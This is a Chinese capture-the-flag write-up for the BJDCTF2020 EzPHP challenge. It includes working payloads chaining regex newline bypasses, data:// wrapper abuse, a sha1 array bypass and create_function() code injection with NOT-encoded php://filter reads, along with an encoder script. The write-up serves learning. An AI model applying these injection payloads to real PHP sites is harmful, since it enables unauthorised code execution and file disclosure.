BJDCTF2020EzPHP1
Q7nl1s admin

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!

1.GET传参:$shana;$passwd

先来看看PHP手册的介绍

$_SERVER 是九大超全局变量中的一个是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。不能保证每个服务器都提供全部项目;服务器可能会忽略一些,或者提供一些没有在这里列举出来的项目。这也就意味着大量的此类变量都会在» CGI 1.1 规范中说明,所以应该仔细研究一下。

概括一下就是$_SERVER['QUERY_STRING'] 的值其实就是获取获取我们url传的值(?后面的所有字符)

绕过方法很简单对被过滤的字符进行URLencode,由于$_SERVER[‘QUERY_STRING’]不会对获取的值进行URLdecode,绕过成功。

2.检索字符中进行正则过滤

先看看源码

1
2
3
4
5
6
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"]; //对debu只需要传入aqua_is_cute%0a即可
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

解法:

%0A绕过

.不会匹配换行符,如

1
2
3
if (preg_match('/^.*(flag).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
}

只需要

1
$json="\nflag"

而在非多行模式下,$似乎会忽略在句尾的%0a

1
2
3
if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
echo $flag;
}

只需要传入

1
?a=flag%0a

先看源码

1
2
3
4
5
6
if($_REQUEST) { 
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

超全局变量$_REQUEST

PHP $_REQUEST 用于收集HTML表单提交的数据。

一个输入字段(input)及提交按钮(submit)的表单(form)。 当用户通过点击 “Submit” 按钮提交表单数据时, 表单数据将发送至

标签中 action 属性中指定的脚本文件。 若在实例中,我们指定文件来处理表单数据。如果你希望其他的PHP文件来处理该数据,你可以修改该指定的脚本文件名。 然后,我们可以使用超级全局变量 $_REQUEST 来收集表单中的 input 字段数据.

buu8978978

匹配超全局变量中的各个表单数据的值,均不可为字母

这里,本意是想限制我们传入的值不能有字母。但是我们注意到,我们传入都是get请求。
我们知道,$_REQUEST接收的请求除了get以为还有psot、cookie等。那么假如我们get传一个a,post也传一个a,那么$_REQUEST[a] 会是谁的值呢?

这取决于你的php.ini中的variables_order的设置,默认为:

1
variables_order = "GPCS"

这里以我的phpstudy中php5.2.17的php.ini配置为例

variables_order6896778

看看大师傅的解释:

php中的variables_order

PHP中的$_ENV是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它。

$_ENV只是被动的接受服务器端的环境变量并把它们转换为数组元素,你可以尝试直接输出它。

当你想看看一个变量中究竟有什么东西在里面时,我所知道的方式有三种:

1
2
3
1.var_dump($_ENV);
2.print_r($_ENV);
3.foreach($_ENV as $key=>$val){echo $key.'--------'.$val.'<br>';}

这三种方式中,第一种我觉得最方便而且输出的内容格式清晰。

由于$ENV变量是取决于服务器的环境变量的,从不同的服务器上获取的$ENV变量打印出的结果可能是完全不同的。所以无法像$SERVER 那样列出完整的列表。以下是$ENV 数组包含的比较通用的元素:

有时候,$ENV会为空,其原因通常是php的配置文件php.ini的配置项为:variables_order = “GPCS”。要想让$ENV的值不为空,那么variables_order的值应该加上一个大写字母“E”,即:variables_order = “EGPCS”。

上述配置表示了PHP接受的外部变量来源及顺序,EGPCS是Environment、Get、Post、Cookies、Server的缩写。如果variables_order 的配置中缺少E ,则PHP 无法接受环境变量,那么$_ENV 也就为空了。

由于开启$ENV,即variables_order = “EGPCS”会导致一些性能损’’失,按php官方的说法是,在生产环境中,不推荐使用。他们更推荐使用getenv (string $varname)函数来获取Environment中的值,而这点需要在编程时就注意到。如果编程时用了$ENV而variables_order中又没有配置为variables_order = “EGPCS”,则程序运行时可能会报错。

也就是说,他先取了get的值然后判断有没有post的值有的话就覆盖掉。那么我们只需要将要get传入的参数post再传一遍即可。

四、绕过文件内容读取的比较

1
2
3
4
5
6
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"]; // 这里我们把$_GET['debug'] 赋值为aqua_is_cute\n 即可绕过
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
1
2
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

先看关于date伪协议的相关知识

data 伪协议

php 5.2.0 起,数据流封装器开始有效,主要用于数据流的读取,如果传入的数据是PHP代码就会执行代码。使用方法为:

1
data://text/plain;base64,xxxx(base64编码后的数据)

我们此时可以利用data伪协议,来伪造file文件的内容如:data:,debu_debu_aqua

五、绕过sh1

先看看源码

1
2
3
4
5
6
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

tip:散列值绕过 成功后执行

看看关于sha1的解释

sha1

1
string sha1( string $str[, bool $raw_output = false] )

sha1 — 计算字符串的 sha1 散列值

返回值

返回 sha1 散列值字符串。

1
extract($_GET["flag"]);

看看关于extract的解释

extract

1
int extract( array &$array[, int $flags = EXTR_OVERWRITE[, string $prefix = NULL]] )
  • array

    一个关联数组。此函数会将键名当作变量名,值作为变量的值。对每个键/值对都会在当前的符号表中建立变量,并受到 flagsprefix 参数的影响。

    必须使用关联数组,数字索引的数组将不会产生结果,除非用了**EXTR_PREFIX_ALL** 或**EXTR_PREFIX_INVALID**。

extract — 从数组中将变量导入到当前的符号表

检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突。

这里的话我们可以直接用传数组来进行绕过,数组间地址的比较永为false

1
shana[]=1&passwd[]=2

到目前为止我的playload为

1
2
3
4
5
6
7
get:
?debu=aqua_is_cute%0a&file=data:,debu_debu_aqua&shana[]=1&passwd[]=2
urlencode后:
p?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

POST:
debu=&file=

得到的回显是

1
</code><br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>Neeeeee! Good Job!<br>Very good! you know my password. But what is flag?<br><br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=

这里我们注意到post的时候我们只需要post两个值,我们来看看这里的代码:

1
2
3
4
5
6
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

这里他用的是preg_match 我们的数组可以直接绕过的。

六、主要考点:create_function()代码注入

1
2
3
4
5
6
7
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

我们先介绍一下create_function()函数吧;其实就是匿名函数。

1
create_function ( string $args , string $code ) : string

他有2个参数,第一个$args就是匿名函数传进去的值(实参)而code就是函数的定义代码。其实内部类似这样:

1
2
3
function myFunc($a, $b){
return $a+$b;
}

我们怎么利用呢?我们配合题目的源码来看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}

这里的$code我们可以控制其为create_function函数,而$arg也是我们可以控制的(通过对flag数组赋值)。这样我们就可以进行注入了。
因为包含了flag.php文件所以我们猜测存在$flag变量。
我们使用get_defined_vars()函数来达到获取所有的变量键值对。但是发现是个假flag,且提示我们flag在rea1fl4g.php中,那么我们想办法包含这个文件,因为include被禁了,所以我们使用require。我们尝试使用require()来包含rea1fl4g.php ,然后进行读取所有变量,但是还是没有发现到flag。(只有一个假的)。
此时,我们猜测需要读取到rea1fl4g.php文件内容,想到php伪协议读取。

1
require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)

但是$arg中过滤了蛮多关键字。这是我们想到了取反。先是打算用python写一个脚本但是没成(求大佬指点),后面对照用php写了一个:

1
2
3
4
5
6
7
8
<?php
$a = "p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = r e a f l 4 g . p h p";
$arr1 = explode(' ', $a);
echo "<br>~(";
foreach ($arr1 as $key => $value) {
echo "%".bin2hex(~$value);
}
echo ")<br>";

这里可用preg回溯代替

最后得到:

1
require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f))

那现在我们的payload为:

1
2
3
4
5
6
7
get:
?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67%5b%61%72%67%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6
没urlencode前:
debu=aqua_is_cute%0a&file=data:,debu_debu_aqua&shana[]=1&passwd[]=2&flag[arg%5d=}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&flag[code]=create_functio%6e

post:
debu=&file=

最后发现源码长这样,怪不得输出变量没flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
<title>Real_Flag In Here!!!</title>
</head>
</html>
<?php
echo "鍜︼紝浣犲眳鐒舵壘鍒版垜浜嗭紵锛佷笉杩囩湅鍒拌繖鍙ヨ瘽涔熶笉浠h〃浣犲氨鑳芥嬁鍒癴lag鍝︼紒";
$f4ke_flag = "BJD{1am_a_fake_f41111g23333}";
$rea1_f1114g = "flag{274cbb44-e5dc-4338-b4c6-b4918cba2f45}";
unset($rea1_f1114g);
 Comments
Comment plugin failed to load
Loading comment plugin
Powered by Hexo & Theme Keep
Unique Visitor Page View